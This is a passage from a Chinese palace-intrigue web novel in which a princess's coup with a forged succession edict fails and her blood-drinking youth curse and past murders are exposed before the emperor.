楚蕙兰听到福清这话眼底闪过一丝精明的光芒,只要宣布了这封圣旨,那这天下就是她的了,楚浩泽想要坐稳那个位置,就需要好好地听她的话!
下面的朝臣听到福清这话立刻议论纷纷,甚至有人开始质疑,“陛下先前没有立储,如今又昏迷不醒,是如何写下立储诏书的?”
“宣读立储诏书难道不应该是皇后或者太后亲自前往吗?为何变成了佳宁公主?”
楚蕙兰听到下面的质疑声,她的嘴角依旧带着浅淡的弧度,只是眼底的神色却越发的冰冷了,她凉凉的看了一眼说话的两个臣子,这两人都是中书左右侍郎,从丞相冯胜文被贬之后,他们两人就相互辅助暂代丞相之职,皇帝正好考察两人谁更能胜任丞相之位。
左侍郎郭玉明更是沉声道:“立储这般的大事陛下拟旨定要经过中书,但是陛下这些日子从未召见中书众臣拟立储圣旨,这圣旨真的是陛下的旨意吗?”
有侍郎魏明阳也抬头看着楚蕙兰,质问,“还是说这是佳宁公主您的私心?根本不是陛下的意思!”
楚蕙兰深深地吸了口气,她的目光缓缓地扫过下面站着的无数朝臣,片刻之后她觉得甚是无趣的叹了口气,然后转身走到龙椅上坐下。
众臣瞧她坐在龙椅之上,脸色立刻变了,御史鲁金华立刻站了出来,他怒声呵斥,“佳宁公主!你这是做什么?那是龙椅!你身为女子怎能坐陛下的龙椅!你这是要谋逆吗?”
楚蕙兰目光冷冷的睨了下面一个个太把自己当回事的大臣,没有说话,她只是轻轻地道:“来人。”
数百身穿盔甲的士兵立刻从外面走了进来把大臣们全部围了起来,大臣们见状心头立刻急了,鲁金华更是瞪大了双眼,他抬手用手指指着楚蕙兰,厉声喝道:“你当真是要谋逆!”
楚蕙兰笑着斜躺在龙椅之上,她放在外面的那只手一展,随意搭在龙椅的扶手上,挑眉道:“本宫这里有皇兄些的立储圣旨,怎么能叫谋逆呢?本宫这是名正言顺!”
“姑姑?”楚浩泽回眸看着坐在龙椅上的楚蕙兰,他眼底闪过一丝不易查明的情绪,难道这楚蕙兰想自己当女皇帝了?
她不需要自己了?
这些年他们母子对楚蕙兰言听计从,就是为了那个位置,他如今羽翼未满可以蛰伏,然后徐徐图之,等将来他可以完全和楚蕙兰抗衡之后,再把楚蕙兰这些年做的恶事公之于众,到时候杀了她就是替天行道。
可是现在若楚蕙兰想要自己当皇帝了,那他怎么办?不能他和母妃给父皇下了毒,最后是给楚蕙兰这个恶毒的女人做了嫁衣吧?
楚蕙兰抬眸看着小心翼翼讨好着自己的楚浩泽,轻笑道:“怎么了?”
楚浩泽明知自己意思却和自己装傻的楚蕙兰,眼底眸光微沉,不过片刻他又恢复了讨好的神色,轻声道:“不论朝臣如何议论,侄儿相信姑姑,况且福清公公是父皇最信任的总管太监,福清公公说的话,难道他们还不信了吗?”
福清闻言笑了笑,他看向楚蕙兰,笑着问,“公主殿下,现在是否需要宣读圣旨了?”
楚蕙兰扫了一眼下面跪着的大臣,没有一个武将,今日的武将称病未曾进宫参与朝会。
不过不管那些人葫芦里面卖的什么药,只要福清的圣旨宣读了,那就事成定局,谁都改变不了了!
楚蕙兰想到这里,眼底闪过一丝亮光,“宣吧。”
福清闻言站上前一步展开圣旨,尖声道:“奉天承运,皇帝诏曰:
自古帝王承天御宇,必立储贰,以固国本....
皇长子楚
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御礼,系朕与皇后嫡出...”
“住口!”楚蕙兰猛地从龙椅上站起来打断了福清宣读的圣旨,她两步上前一把夺过福清手中的诏书,厉声道,“你在读什么?”
福清笑了一声,幽幽道:“自然是宣读陛下的立储诏书了。”
“这不是皇兄的立储诏书!”楚蕙兰垂眸看着诏书上的内容,和昨天写的诏书完全不一样,她眼睛一瞪,阴狠的抬眸看着福清,阴森地嗤笑道,“你在戏耍本宫!”
“这是陛下的诏书。”福清笑着与楚蕙兰对视,“不过不是佳宁公主您昨天写的那封立四皇子为皇储的诏书。”
楚浩泽听福清这么说,他忽然觉得有什么不对劲,他往四周看了一眼,然后上前拉着楚蕙兰低声道:“姑姑,现在怎么办?”
“什么怎么办!”楚蕙兰一把甩开楚浩泽,厉声道:“既然软的不行,那就来硬的!”
“来人,把这些人给本宫都拿下!”那些身穿盔甲的侍卫立刻举着长刀往前走了一步。
其中早已经被楚蕙兰收买的人,则笑着对自己的上官道:“识时务者为俊杰,如今这皇城和城外已经被公主殿下的兵马包围了,咱们何不顺了公主的意,御王殿下如今是生是死都不知,咱们不可能等着四皇子回来啊。”
说话的是刑部新任郎中,也是李重楼最看好的刑部下一任侍郎,他原本打算等以后楚御礼不需要在刑部历练之后,就立刻向皇帝举荐乔松的,没想到乔松竟然会说出这种话!
刑部尚书李重楼听到乔松这话,脸色一沉,他回眸看着乔松,沉声道,“原来你早已经被收买了。”
真没想到他刑部,竟然有这么多佳宁公主的人。
这时候六部占了不少要职的人站了出来,跪在地上,“臣等愿意拥护公主殿下!”
站着的大臣们看着那些跪下去的人,气得甩袖,“你们这是谋逆!”
“本宫今日就谋逆了又如何?”楚蕙兰冷笑,“自古以来能者一统天下,今日本宫就把丑话放在这儿了,谁敢违逆本宫,就别想活着走出这大殿!”
第210章 楚蕙兰所谋失败
“真是好大的口气啊。”皇帝幽幽的声音从龙椅后面传来。
楚蕙兰和楚浩泽两人猛地回头,就看身着金黄色龙袍的皇帝慢悠悠地从后殿走了出来,一步一步踏上阶梯走到两人面前。
楚蕙兰眼睛一眯,脸上的表情逐渐龟裂,她不可置信的看着皇帝,沉声道:“这怎么可能?”
皇帝冷冷地看了一眼缩着头不敢说话的楚浩泽,然后把目光放在楚蕙兰脸上,冷笑,“什么不可能?你是说朕不可能站起来过来参加朝会?应该躺在病榻上,等你宣读了立储诏书,然后被你弄死?”
楚蕙兰双手死死的握着,但是看着下面的银甲士兵,她有底气地冷笑出来,“既然皇兄你醒了,那就现在立储吧!御儿可能不会活着回来当你的皇储了,就由四皇子当你的皇储,等将来皇兄您驾崩之后,臣妹一定会好好辅佐他当一个好皇帝的。”
“皇妹啊,天亮了。”皇帝双手背负在身后,冷笑道:“你的梦也该醒了。”
楚蕙兰眼底闪过一丝疑虑,不过看着下面等着自己发号施令的士兵,她又笑了,“皇兄才是,这皇宫如今已经被本宫控制了,你若还想要多活两年,最好乖乖听话!”
皇帝眼神冰冷的看了楚蕙兰一眼,轻轻摇头,“那你试试吧。”
“把人都杀了...”
随着楚蕙兰的命令发出来,那些原本举着长刀的士兵瞬间把举着的长刀都收了回去,人也集体往后退了一步。
楚蕙兰眼睛一瞪,那双漂亮的眼眸中闪过一丝惊慌,这怎么可能!
“你们听不到本宫的话吗?”楚蕙兰厉声道,“把那些人给本宫拿下!”
“姑姑,你也不看看那些人到底是不是你的人就开始发号施令,未免太自大了一些。”楚御礼的声音从殿外传来。
楚蕙兰往殿外望去,就看到那个原本出了城的楚御礼此时正站在大殿门外的正中间,而他身后无数被绑在一起的士兵全都跪在地上,一些身穿黑甲的士兵正沉着脸拿着刀指着那些被绑着的士兵。
楚蕙兰不可置信地往后退了一步,“这怎么可能!”
楚御礼轻笑,“姑姑,你的确很厉害,很会伪装,若不是因为御王府的大火,本王也的确不会怀疑到你身上来。”
说到这里他眼底闪过一丝冷光,接着他大步走进大殿,“在世人面前做尽善事,每日常住庵堂的人,竟然是喝人血的恶魔,你可把世人都骗得好苦啊!”
“呵呵。”楚蕙兰嗤笑,“你以为你们这就赢了吗?本宫的人已经把京城都围住了,你们若不想让京城的百姓流离失所,你们最好就...”
“是吗?”楚御礼抬眸看着楚蕙兰,神情嘲讽,“姑姑你确定你几天前收到的那封书信是萧景宴写给你的吗?”
楚蕙兰猛地抬头看着楚御礼,她双手死死地握在一起,“你什么意思?”
“你确定你养在同州那些兵马转移之后,真的到达冀州了吗?”楚御礼回头看着那些跪在地上先前还说要拥护楚蕙兰,现在却缩成鹌鹑连话都不敢说的臣子,嗤笑,“你以为本王和父皇为何会与你们演这一出戏?”
“演戏?”楚蕙兰猛地回头看着脸色红润的皇帝,嘶声吼道,“你没有**?”
“**?”皇帝目光凉凉地睨了楚蕙兰一眼,“若朕连一点防备心都没有,当年早就死在朕最信任的兄弟手中了。”
皇帝说罢不在看楚蕙兰,他转身走到龙椅上坐下,厉声道:“拿下。”
随着皇帝的话音落下,那些把长刀收起来的士兵立刻上前把楚蕙兰和楚浩泽拿下。
楚蕙兰不可置信地摇头,厉声道:“这不可能!这不可能!本宫不信!来人!救驾!”
“姑姑还在等五皇叔留给你的暗卫来救你吗?”楚御礼微微侧首,语气很轻,“他们的确很厉害,所以让侄儿费了一些时间,不然在昨日您进宫的时候,侄儿就会揭穿你的真面目了。”
“楚御礼!”被压在地上跪着的楚蕙兰猛地抬头看着楚御礼,嘶声吼道:“你算计我?”
“你又何尝不是在算计我们呢?”楚御礼笑看着楚蕙兰,“若不是姑姑你太肆无忌惮,其实本王也不想这么操之过急的。”
楚御礼说到这里脸色沉了下去,“姑姑,成王败寇,你输了。”
楚浩泽听到这里
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完全明白了他们这不过是中了皇帝和楚御礼设下的局,他不可置信地抬头看着楚御礼,片刻之后他忏悔道,“父皇,皇兄!儿臣都是被逼的啊!儿臣是被佳宁公主逼迫的啊!求您饶了儿臣这一次吧!”
楚御礼没有搭理楚浩泽的话。
皇帝则冷冷地看着楚浩泽,语气冷漠,“是她逼着你们母子二人给朕下毒的?”
楚浩泽摇头,“儿臣没有!父皇儿臣没有下毒!”
“的确不是你下的毒,是你母妃下的毒。”皇帝面无表情地收回目光,沉沉地看了众臣一眼,“楚蕙兰、楚浩泽意图谋逆,均贬为庶人,择日处斩!”
“父皇,楚蕙兰还有一个罪名也需要公之于众,儿臣觉得也是时候还那些死去的少女们一个公道了!”
皇帝放在膝盖上的双手微微一握,片刻之后,他道:“楚蕙兰以人血养颜,谗害无辜少女,今日...”
“证据呢?”楚蕙兰嘶声打断皇帝的话,扬声喝道:“你们没有证据!”
“证据?”楚御礼大步上前一把捏住楚蕙兰的肩膀,“那日我的护卫去救姜斯羽的时候打伤了那个容貌绝色的恶魔,她的肩膀有箭伤。”
楚御礼双手死死地捏着楚蕙兰的肩膀,她肩膀的伤口被楚御礼再次捏得绽开,鲜血很快就流了出来,她抬头恶狠狠地看着楚御礼,沉声道,“本宫听不懂你在说什么!这是本宫在公主府的时候**了才留下的伤!”
“那这张脸呢?”楚御礼话音落下,不等楚蕙兰反应过来,抬手就撕掉了楚蕙兰脸上的**,露出那张倾城绝色的面庞。
楚蕙兰眼睛瞪大,“你...”
“当初秋猎我遇到的刺客,一批是冯胜文派来的,另一批就是你派来的吧?”楚御礼轻嗤,“你现在还有什么要狡辩的,就一起说了吧。”
朝臣们看着楚蕙兰那张与二十多年前别无一二的脸皆是露出震惊之色,皇帝眼底也闪过一丝精光。
楚蕙兰冷笑,“那又如何?她们能成为本宫青春永驻的养料,是她们的荣幸!”
“混账!毒妇!”皇帝厉声骂道:“人血怎么可能令人青春永驻!”
第211章 皇兄你不是最疼我了吗
楚蕙兰没想到自己隐藏了这么多年都没有被发现,如今却败在了一个当初被自己瞧不上的孩童身上。
她恶狠狠地抬头看了楚御礼一眼,沉声道:“当年冯胜文和冯茹英小心翼翼不敢把你弄死,本宫就不应该放纵你长大的。”
楚御礼听到楚蕙兰这话,嘴角微微一勾,他深邃的眼眸与楚蕙兰对视,“那又如何?世上没有后悔药可以吃。”
楚蕙兰双手死死地捏在一起,“你到底是怎么怀疑到我身上的?”
随着她的话音落下,皇帝和众臣的目光都落在楚御礼身上,楚御礼站直了身子,轻笑,“当然是因为婳儿。”
楚蕙兰那双一向清冷毫无感情的眼眸中闪过一丝震惊,语气也充满了不可置信,“你的意思说姜黎婳没有死?”
“姑姑似乎很失望。”
“这怎么可能!”楚蕙兰挣扎着要站起来,但是却被士兵死死地压着,她根本无法动弹,“他们明明说你们王府无一活口!她怎么可能没有死!”
“不仅她没死,就连六妹和沈小姐都没死。”楚御礼垂眸看着已经沦为阶下囚的楚蕙兰,语气冰冷,“你以为你掌控了全局?不,你在设计我们的时候,我们也给你编织了一个牢笼,就等着你跳进来。”
“御王妃又是如何知道楚蕙兰才是那件事情的幕后真凶的?”皇帝忽然问。
楚御礼闻言抬手朝皇帝鞠了一礼,然后正色道,“这件事情还得从御王府遭遇大火那天说起,那天为了逃避被火烧死,婳儿带着六妹她们进了冰窖,冰窖在地下,又有石门隔绝,所以并未被殃及,后来为了躲避那一双在暗处一直盯着御王府的眼睛,儿臣把婳儿安置在了靖王府的一处院落中,婳儿却正好在一天夜里,见到了去缅怀靖王的佳宁公主。”
“婳儿给我说了此事,我变得多了一个心眼盯着佳宁公主,加之儿臣派去同州查萧家银两的人回来禀报说了同州的异常,所以儿臣就决定将计就计,看看姑姑是否如我所想,就是这京城最大的恶魔。”
楚蕙兰目赤欲裂,“单凭这点,你就怀疑我?”
“姑姑,你善良得太不平常了。”楚御礼的眼神骤然变得冰冷,他垂眸看着奋力挣扎的楚蕙兰,语气冰冷,“一个明明是一个无恶不作的恶魔,为什么做的都是笼络民心的事情?除非你有更大的野心。”
楚御礼说到这里又冷哼了一声,他有些不屑转开目光,看向那被皇帝坐着的龙椅,轻嗤,“本王还以为你有那个魄力想去当个女帝呢,没成想,最终也不过是想扶持一个傀儡。”
楚蕙兰听到楚御礼这么说她咬了咬牙,好一会儿之后她闭上眼睛,沉声道:“楚浩泽是被本宫威胁的,本宫就是想扶持一个傀儡,这件事情都是本宫一手谋划的,你们不必对他赶尽杀绝。”
“其实侄儿还有一个更好奇的事情。”楚御礼没有理会楚蕙兰说出这句话之后,楚浩泽那脸上露出的恳切的表情,而是直直的盯着楚蕙兰,轻声问,“姑姑想要一个听话的傀儡,明明那个毫无大脑的楚明暄更合适,或者无心权势的楚巍澜也可以,为何姑姑偏偏要扶持一个善于伪装满腹算计的楚浩泽上位呢?”
皇帝听楚御礼这么说,眼神也骤然变冷。
他正要说话,就看到楚蕙兰的表情骤然变得狰狞起来,她双手捂着脸一下子卷缩在地上,她捂着脸上嘶吼出声,嘶声喊道:“给我血!快给我血!”
昨天为了避免意外发生,她进宫之后就没有出宫,所以昨天和今早并未饮用人血,她的计划原本是今天宣读了诏书,就去后宫让人把楚明珠的血先放出来让她饮用,但是谁知今日发生了这样大的变故,导致了她到现在还未能饮用人血!
楚蕙兰此时躺在地上感觉像是身上像是在被万蚁啃食一般,浑身疼痛难忍,而随着身上的痛苦越来越明显,她的头发也慢慢地开始变白,那原本洁白如玉的手也慢慢地变黄起皱,就像是被吸干精血的干尸。
皇帝被楚蕙兰的变化忽然吓了一跳,他震惊地从龙椅上站了起来,那些站在殿中的大臣却都不约而同地往后退了好几步,从他们脸上惊惧的表情来看,就知道他们是被楚蕙兰这副模样吓到了。
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>就连一直都知道楚蕙兰吸食人血的楚浩泽此时都被楚蕙兰的模样吓到了,他满头都是冷汗,嘴角不停地抽搐。
楚蕙兰却顾不得这么多了,她躺在地上朝着搬空伸手,嘶声喊道:“给我血!我要喝血!”
自从她吃下那枚驻颜丹后,就需要定期饮用人血,一开始还好,只需要三个月饮用一次人血,后来一个月,再后来十日,越到后面就越需要经常饮用,如今她必须每日饮用,她昨天上午饮了人血,今天就必须也要饮用,但是现在却耽搁了...
“给我血!”楚蕙兰朝着旁边的人伸手,“快给我血,你们这群废物!”
楚御礼看着楚蕙兰现在这副人不人鬼不鬼的模样,冷笑,“容颜永驻?这副人不人鬼不鬼的模样就是你杀了那么多少女的所追求的?”
“你懂什么?”楚蕙兰强忍着痛苦仰头狰狞地瞪着楚御礼,“只要喝了人血,我依旧是最好看最年轻的!”
随着楚蕙兰的这狼狈的模样出现在人前,皇帝先前因为永葆青春而起的一点心思,一下子就消失无踪了,他冷冷的看着躺在地上痛苦的楚蕙兰,沉声道:“今日朝会到此为止,你们先下去吧。”
这话是对朝臣说的。
朝臣们虽然此时对八卦燃起了熊熊烈火,但是也没有那个胆子留下来继续看皇家的笑话。
毕竟皇帝刚刚已经宣布了对楚蕙兰和楚浩泽两人的处置结果,现在他们也的确没有理由留下来了。
大殿随着皇帝的话空旷了下来,那些士兵们也不知道是留下还是退下去,皇帝直接道:“把人绑了,你们也退下。”
负责控制两人的几个士兵连忙麻利地把人给绑了,然后退了出去。
皇帝等他们退了下去,这才一步一步从高位上走了下来,他站在楚蕙兰面前居高临下地看着楚蕙兰,“楚蕙兰,你可知罪?”
“我知道错了,皇兄你快给我喝血好不好?”楚蕙兰想伸手拉皇帝的衣摆,却发现自己的手被绑起来了,她抬头看着皇帝,眼泪横流,“皇兄,你不是很疼佳宁吗?快给佳宁喝血好不好?”
第212章 她杀了自己的女儿和丈夫
楚蕙兰若还是先前那一副倾城绝色的模样,皇帝可能还会动一下恻隐之心,但现在她顶着一张人不人鬼不鬼的容貌,又对皇帝露出一副楚楚可怜的模样,这让皇帝心头一下子生出一股厌恶之意,他皱着眉头往后退了一步,然后看向面不改色的楚御礼,问,“这是怎么回事?”
“回父皇,儿臣自从知道吸血恶魔的事情之后翻看了不少古籍,我们的古籍上的确没有吸食人血这样的书。”楚御礼垂眸看了一眼已经痛得浑身开始抽搐的楚蕙兰,眼底没有半点同情,他继续道,“除了神话故事里面的妖魔,没有人以人血为饮。”
皇帝眉头紧皱,想到自己先前因为看到楚蕙兰的模样之后动了的心思,忽然觉得自己有些愧对天下百姓。
他有些不自在的咳嗽了一些,然后指着楚蕙兰,“那她这个...”
楚蕙兰痛的表情扭曲了,眼睛也开始往上翻,根本没有先前半点的姿态,她混疼疼痛的想要蜷缩起来抱紧自己,但是却因为被绑住了,她根本没有办法保住自己。
“皇兄...求你了,给我血,给我喝血...”
皇帝无动于衷。
楚御礼也对她的痛苦视而不见,“这是南疆巫蛊之术,至于她为什么会得知南疆的巫蛊之术,儿臣也不知道。”
“巫蛊之术!”皇帝脸色一沉,眼底立刻露出厌恶之色,“楚蕙兰!你竟然还勾结南疆!”
皇帝侧首看向楚御礼,“你是如何得知的?”
楚御礼拿出一本书递给皇帝,“儿臣在秋猎**之后派人去了竖州查那些刺客的底细,他们在当地买了当地的古籍,上面记载了不少南疆的巫蛊之术,其中就有使容颜永驻的方法,不过...”
楚御礼看着皇帝翻开之后,才继续道,“这种巫蛊之术应该是骗人的,因为要先饮下他们特制的药丸,然后以人血养之,若没有以人血为养分,那被吞下去的药丸就会吞噬本体的血液,致其加速衰老,痛苦而亡。”
楚御礼说到这里垂眸看了一眼躺在地上满脸皱纹的楚蕙兰,“就像她这样。”
皇帝看着上面记载的药丸,那所谓的药丸其实根本不是药丸,而是一种蛊虫。
他啪的一下把手中的古籍丢在楚蕙兰面前,“楚蕙兰!你真是被鬼迷了心窍了!竟然在自己身上用蛊!容颜对你来说就那么重要吗?”
楚蕙兰已经疼得听不到皇帝在说什么了,她抽搐着身子忽然哭了起来,“皇兄...你别...丢下我,你说过...的...你最...喜欢我了,你说我最...漂亮的!”
楚御礼听着楚蕙兰这话,抬眸用一种很奇怪的眼神看了皇帝一眼,皇帝忽然被儿子这么看了一眼,立刻甩袖骂道,“看什么看?老子从未对她说过这么恶心的话!”
楚御礼不在意地收回目光,就见楚蕙兰又朝着楚浩泽的方向伸手,“皇兄...你来接...兰儿了吗?”
楚浩泽被楚蕙兰这话吓了一跳,他努力朝旁边涌动着身体挪了挪,无辜地抬头看着皇帝,“父皇!儿臣什么都不知道啊!儿臣只是一个未及冠的孩子!”
这个女人他当初还以为多厉害呢!原来也不过是一个没有头脑的蠢货!这些年她之所以能这么肆无忌惮,一个是因为不在京城二是因为她手底下还有那些听她命令的死士和萧景宴。
现在萧景宴不在她身边了,那些**死士都不在她身边了,她就什么都不是了!
早知道这个女人这么没用,当初他就不给她表忠心,把楚明月给她,还暴露了自己!
皇帝沉着脸,目光来回在楚浩泽和楚蕙兰之间来回转悠。
忽然站在一边的楚御礼道,“父皇,姑姑口中的皇兄应该是五皇叔。”
他看着楚蕙兰,眉梢微挑,“毕竟姑姑身边那些忠心耿耿的死士,都是五皇叔留给她的不是吗?”
皇帝闻言脸色一沉,那些死士是不是楚晋霆给她的**,但是当年事发之后,他手下的那几个心腹的确不见了踪影。
想到这里皇帝眯眼看着楚蕙兰,厉声道:“拿血来!”
福清很快端着一碗鲜血走了进来,皇帝给福清使了个眼色,福清立刻上前亲自把碗中的血灌入楚蕙兰的嘴里,随着一碗血咽下去,先前还浑身颤抖的楚蕙兰终于不再挣扎了,她渐渐地平静了下来,然后皇帝就看着她那原本满是皱纹的皮肤以肉眼可见的速度慢慢的变回了先前那种吹弹可破的雪白肌肤,脸上的皱纹也逐
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渐消失不见,取而代之的是倾城之色,头发也从发尾开始慢慢的从灰白色变成青黑色。
随着楚蕙兰身体的恢复,她的理智也回来了,她抬头望着居高临下地看着自己的皇帝,无力轻笑,“我就知道皇兄和父皇一样,最疼爱我了。”
皇帝静静地看着楚蕙兰,“你和楚晋霆是什么关系?”
楚蕙兰眼神一凝,接着她扯了扯嘴角,轻声道:“自然是兄妹关系了,皇兄问的这是什么话。”
说到这里楚蕙兰脸色变得有些哀伤,“我知道五皇兄做了一些让皇兄您无法接受的错事,但他再如何也是曾经待臣妹最好的皇兄了,皇兄**这么些年,臣妹去祭奠他一下又...”
“那你又为什么要杀了自己驸马和自己的亲生女儿?”一个冷清女声打断了楚蕙兰的话。
这件事情除了当年为她做事的暗卫,无人知道!
楚蕙兰猛地回头看着那个逆着光走进来的人,沉声喝道:“本宫听不懂你在说什么!”
“你被撞破了什么事情才会想要杀了全家来堵住他们的嘴?”
皇帝眼神一凝,他朝着门口逆光而来的女子看去,沉声问,“御王妃,你这话是什么意思?”
姜黎婳明显是跑着过来的,此时她虽然是一步一步地往前走,但是脸上的红霞和急促的呼吸暴露了她并不如她表现的淡定。
楚御礼看到她的那一瞬间,已经朝他迎了过去,姜黎婳抬眸看着他,低声道:“我想起来了。”
书中用一句话描述过那个女人的狠厉,那句话是这样说的:她为了自己的秘密和目的,亲手杀了自己的女儿和丈夫,并下令烧了整个洛家。
“她的秘密被自己的女儿和丈夫撞破,为了隐藏自己的秘密,她亲手杀了自己的女儿和丈夫,然后下令烧了整个洛家。”
“你胡说!他们死的时候,我在宫中给母后侍疾!又怎么会杀了他们!”楚蕙兰嘶声吼道,“你少在那儿诬陷本宫!”
楚御礼是知道姜黎婳‘秘密’的人,他一直都觉得自己如今是娘子最亲近的人。
娘子连那种匪夷所思的秘密都愿意告诉他,又怎么会骗他呢。
他看着楚蕙兰,“姑姑不是有两张脸吗?”
第213章 姜黎婳**诛心
看楚蕙兰脸上的神情僵住,楚御礼眼底的神色骤然变得冰冷,她真的杀了那个和自己差不多大的表妹?
想到这里楚御礼搂着姜黎婳的手慢慢收拢,他面色深沉地抬眸看了皇帝一眼,然后继续道:“当初进宫给皇祖母侍疾的人不是姑姑吧?”
楚御礼说到这里把目光重新落到楚蕙兰脸上,沉声道:“毕竟姑姑说过这天下人都是你的奴隶,依照姑姑这般高贵的自我认知,你会放下身段进宫给皇祖母侍疾吗?”
皇帝听楚御礼这么说,眼睛眯了起来,她审视地看着楚蕙兰,厉声道:“天下人皆是你的奴隶?楚蕙兰你把自己当天上的神仙了?”
“皇兄你别听他们胡说八道,臣妹是什么样的人你还不清楚吗?”楚蕙兰挣扎着想抬手去拉皇帝,却发现自己已经被绑得像个粽子一样,她抬眸楚楚可怜地看着皇帝,“皇兄,我们兄妹三人差不多大,从小便在一起玩,您难道真的相信臣妹是那种人吗?”
楚御礼忽然低低地笑出了声音,皇帝和楚蕙兰两人包括躺在地上的楚浩泽都朝楚御礼看了过去。
皇帝面露不解,正要问楚御礼笑什么,就见楚御礼的嘴角勾起一抹讽刺的弧度,他冷冷的看向楚蕙兰,“了解?若父皇真的了解你们兄妹两人的话,当初就不会差点被五皇叔害死,如今又差点中了你的计!”
皇帝听楚御礼这么说,那因为楚蕙兰刚刚楚楚可怜的求饶而软下去的心思又硬了起来,他冰冷地看着楚蕙兰,沉声道:“朕已经让福清把皇宫的宫女太监全都排查了一遍了,宫中也不会有人再救你们,你若要继续嘴硬,那就去慎刑司,朕相信骨头再硬的人,在慎刑司的刑法面前,都不会无动于衷的。”
皇帝说罢转身要走,刚走了两步,他又回头看着楚御礼,眼神复杂地说道,“接下来的事情就交你来说审问,务必把当**情真相审问出来,还...”
他眸光深沉地看向楚蕙兰,继续道:“还洛家一个公道。”
楚御礼公开姜黎婳朝皇帝躬身行礼,“儿臣遵旨。”
皇帝嗯了一声,目光缓缓转到姜黎婳的脸上,最后叹了口气,“你们夫妇两人的事情,事后自己过来解释。”
姜黎婳闻言立刻跪了下去,“是。”
皇帝摆了摆手转身大步离开。
福清见状也赶紧跟了上去,一下殿中就剩下他们四人了。
楚御礼扶着姜黎婳站起来,轻声问,“可还好?”
姜黎婳对楚御礼轻轻点了点头,然后看向躺在地上的楚蕙兰,冷声道:“你做梦都没想到最终会落成这个下场吧?手握十万兵马,又有几百死士供自己使唤,手下的暗卫又都有他们的把柄,你认为自己应该风光无限才是对吧?”
楚蕙兰看了一眼晃去离去的方向,终于不再装了,不过因为先前发病现在浑身乏力,她即便是笑,也会透露出几分疲倦之色,她抬眸看着姜黎婳,嗤笑,“本宫不和缩头乌龟说话。”
“我是缩头乌龟你是什么?”姜黎婳眼神冰冷的看着楚蕙兰,“见不得光的臭虫?还是喜欢自己兄长的变态?亦或者说是喝了自己女儿鲜血的恶魔?”
“你住口!你这个贱妇!你住口!”楚蕙兰终于被姜黎婳的话激怒了,她面色狰狞地朝着姜黎婳吼道,“你闭嘴!”
姜黎婳看到楚蕙兰这么愤怒的模样,双手死死地握了起来,她沉声道:“我说错了什么?你难道不是见不得光的臭虫?那你为何躲在庵堂里遮住自己的真实容貌?”
“还是说你不是真的喜欢自己的兄长?”姜黎婳眼底闪过一抹狠色,她往前走了两步在楚蕙兰面前站定,蹲下伸手捏住楚蕙兰的下巴,冷笑,“那你为何会把撞破了你和靖王两人秘密的驸马还有小县主都杀了?还喝了你女儿的鲜血!”
“你简直猪狗不如!靖王也一样,他也连畜生都不如!和自己的妹妹产生了感情,还妄想得到皇位然后把你养在后宫从此与你厮混!甚至不惜想要杀了最看重他的皇兄!你们真是不要脸!”
这些虽然都是她的猜测,但是也不妨碍她用这些话来激怒楚蕙兰,让她自己承认当初的那些事情!
“你住口!你这个贱妇!我不准你这么说皇兄!”楚蕙兰双眼死死地瞪着姜黎婳,怒声吼
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道:“我不准你这么说他!”
“我为何不能说!他明明与你有不伦之实,心思肮脏,却为了掩饰自己另娶他人,成婚之后冷落对方不说,还在自己犯下谋逆之事后害得对方全家为他陪葬!你们两个人就是一路的货色!都是贱种!”
姜黎婳想到御王府被害死的人,又想到死去的佩玉和张嬷嬷,说的话也越来越狠,“你说我是贱妇?那你可真是说错了,我怎么比得上你的万分之一呢?比起贱来我哪儿敌得过你?连自己的亲哥哥都会喜欢的女人才是真的贱!你这种女人即便是**,老天都不会成全你的心思的!你们两个即便**,也会下十八层炼狱!整日被火烧被油炸,受尽苦难!永远无法超生!”
“住口!”楚蕙兰嘶声吼道:“你住口!”
“怎么?你听不下去了?”姜黎婳双目通红,她的眼中带着泪水,她一把掐住楚蕙兰的脖子,厉声道:“我不过是实话实说你就听不进去了?”
楚蕙兰拼命的想挣扎,她使劲摇头,眼泪也从眼眶里面落了出来,她看着姜黎婳嘶声道:“你不要胡说八道了!”
“我胡说八道?”姜黎婳缓缓站起来,她眼神有些疯狂地看向听了姜黎婳说的那些话现在表情都还有些呆滞的楚浩泽,轻哼道,“你之所以想要立这个楚浩泽为皇储,是因为这楚浩泽是靖王与德妃的儿子吧?”
姜黎婳轻哼,“靖王可真是好算计啊,为了自己的计谋,连父皇的后妃都敢睡。”
她说罢嘲讽地看向楚蕙兰,“你说你的皇兄对德妃有没有付出过真心?”
“皇兄才不会喜欢德妃那种蠢女人!他与德妃在一起不过是在皇室祭祀的时候被德妃那个贱妇下药算计了罢了!若不然,皇兄怎么会和那个女人在一起!”楚蕙兰嘶声骂道:“你少往我皇兄身上泼脏水!”
姜黎婳听楚蕙兰这么说,嘴角勾起一抹浅浅的弧度,她眸光沉沉地看向脸色巨变的楚浩泽,挑眉,“瞧,她承认了,你不是父皇的儿子。”
楚浩泽:“......”
我都被父皇下了命令处**,你没必要**诛心的!
第214章 皇后:她在走自己来时的路
姜黎婳向楚御礼要了笔墨纸砚,亲手一字一句写下了楚蕙兰这些年犯下的恶事,又写下楚浩泽所犯之事,然后交给两人画押,楚蕙兰看着上面所写之事,惊恐地抬眸看着姜黎婳,嘶声问,“你究竟是谁?”
当年她所做的那些事情,参与或者知道真相的人,几乎全都被她给秘密弄**。
这个姜黎婳明明是从江南来的,而且当年那些事情发生的时候,她还是个婴儿,她是怎么知道的?
姜黎婳听楚蕙兰这么问,想到了原主和佩玉她们的死,她紧抿着双唇,走到楚蕙兰面前蹲下,然后倾身在楚蕙兰耳边低声道:“我是谁?我自然是来自地狱向你索命的恶鬼啊,不然我怎么会知道你那些隐秘的事情?又如何得知地狱是什么模样呢?”
楚蕙兰瞳孔逐渐放大,眼底也逐渐露出恐惧之色,她惊恐地看着姜黎婳,“你说的是真的?”
“楚蕙兰,你当初把我害得好苦啊。”姜黎婳缓缓站了起来,“接下来你好好享受你的报应吧,以后你每日都会承受万蚁啃食的痛苦,直到你油尽灯枯。”
随着姜黎婳站起来,楚御礼便招手让外面等着的侍卫进来把两人拖了下去,楚蕙兰被拖下去的时候还惊恐地瞪眼看着姜黎婳。
姜黎婳瞧着被拖下去的楚蕙兰,双手死死地握着,阿嬷,张嬷嬷,楚蕙兰的报应到了,你们应该看到了吧?
楚御礼看着死死地压制着自己情绪的姜黎婳,他上前轻轻地将她搂入怀中,让她的头靠在自己的胸口,低声道:“婳儿,一切都过去了。”
